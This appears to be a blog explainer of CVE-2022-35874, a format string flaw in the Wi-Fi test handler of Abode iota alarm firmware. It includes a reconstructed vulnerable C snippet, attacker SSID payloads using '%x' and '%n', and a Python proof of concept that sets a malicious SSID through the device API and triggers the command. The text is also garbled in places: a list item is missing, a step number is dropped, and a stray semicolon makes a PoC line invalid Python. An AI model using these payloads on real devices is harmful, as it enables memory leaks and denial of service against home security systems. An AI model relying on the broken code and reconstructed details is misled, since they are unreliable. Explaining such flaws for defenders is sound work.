In 2022, a series of dangerous vulnerabilities—collectively tracked as CVE-2022-35874—were discovered in the XCMD testWifiAP function in Abode Systems' iota All-In-One Security Kit versions 6.9X and 6.9Z. These flaws allow attackers to use specially-crafted configuration values to attack the device, potentially leading to memory corruption, information leaks, and denial of service.

This long read will break down what format string injection is, exactly where the bugs live in the Abode codebase, how attackers can exploit them, and what you can do about it.

What is Format String Injection?

Format string injection happens when a program builds strings using user input in so-called “format” functions like printf(), but without strictly controlling what the format string looks like.

For example, consider this C code

char userInput[256];
scanf("%s", userInput);
printf(userInput);

If userInput contains something harmless, like "HelloWorld", it prints fine. But what if the user enters %x %x %x? printf will treat it as instructions to print memory contents, which can result in information disclosure or even memory corruption.

Where is the Abode Bug?

In Abode’s iota 6.9X and 6.9Z firmware, the vulnerability occurs in the XCMD handler function for testWifiAP, specifically in the way it handles Wi-Fi SSID values:

ssid_hex: the same, but in hexadecimal

When the device receives an XCMD call to testWifiAP, it reads the ssid and ssid_hex values—without sanitizing them—and feeds them into format strings.

Here is a simplified version of the vulnerable logic (based on VDB-209671 and the ZDI advisory)

void handle_testWifiAP(/*...*/) {
    char ssid[256];
    char ssid_hex[256];
    // These are populated using user-controlled configuration values
    // ...

    char buf[512];
    snprintf(buf, sizeof(buf), ssid);      // Vulnerability 1
    snprintf(buf, sizeof(buf), ssid_hex);  // Vulnerability 2

    // ...use buf for various operations
}

Key issue:
Both ssid and ssid_hex flow unchecked into format string functions.

Exploit Scenarios

An attacker with network access (for example, in the same home network or via a compromised App account) could push a Wi-Fi SSID value that includes %x, %s, or %n format specifiers.

Let’s say the attacker sets the SSID to

MyNetwork%x%x%x%x

When the XCMD handler runs, the snprintf() will process the %xs, causing it to try to print values from the stack as hexadecimal numbers, potentially leaking memory contents into log files, responses, or whatever sink the result is later sent to.

If the attacker uses %n, they could potentially cause a write to memory

AAAA%n

Bad usage like this can crash the process or sometimes lead to code execution, depending on exact implementation and platform specifics.

Information Disclosure Example

Further, %s could let attackers read arbitrary memory, up to where program crashes, if they control pointer values on the stack.

Setting the Trap: How an Attacker Would Do It

1. Configure the ssid or ssid_hex value to a malicious string (possibly via app, web portal, or intercepted request).

Trigger the XCMD testWifiAP command, causing the device to process the injected value.

3. Collect Output: Memory data might wind up sent back in a response, stored in logs, or otherwise exposed.

Proof-of-Concept Exploit

Note: This is provided for educational purposes only.

Suppose you have access to the device’s configuration API

import requests

target_url = "http://iota-device/api/set_config";

# Craft the payload with format specifiers
payload = {
  "ssid": "attack_%x_%x_%x",
  "ssid_hex": "41424344%x%x",
}

# Set the malicious config
requests.post(target_url, json=payload)

# Now trigger the vulnerable command
requests.post("http://iota-device/api/XCMD";, json={"cmd": "testWifiAP"})

# Check device logs or response for memory leak

Note: Any attacker must first be able to set a Wi-Fi SSID or SSID-HEX value and trigger the command.

Original References

- ZDI-22-1092 | Zero Day Initiative Advisory
- CVE-2022-35874 Page at NVD
- Vuldb Advisory VDB-209671

Mitigation

- Firmware Update: Check with Abode for a patched firmware after version 6.9Z; update as soon as possible.

Conclusion

CVE-2022-35874 demonstrates how a simple format string bug—made possible by careless use of string functions—can have severe consequences, even in physical security products like alarms and cameras. These vulnerabilities are especially dangerous because they can be exploited remotely, leading to leak of sensitive information or crashing your security system.

Always keep your devices updated and be wary of unexpected network access requests. Developers should audit any code that passes user input to format string functions like printf, snprintf, or similar.

Stay safe and secure!

*If you found this post helpful, please share it to raise awareness about the importance of input validation in IoT devices!*

Timeline

Published on: 10/25/2022 17:15:00 UTC
Last modified on: 10/28/2022 01:28:00 UTC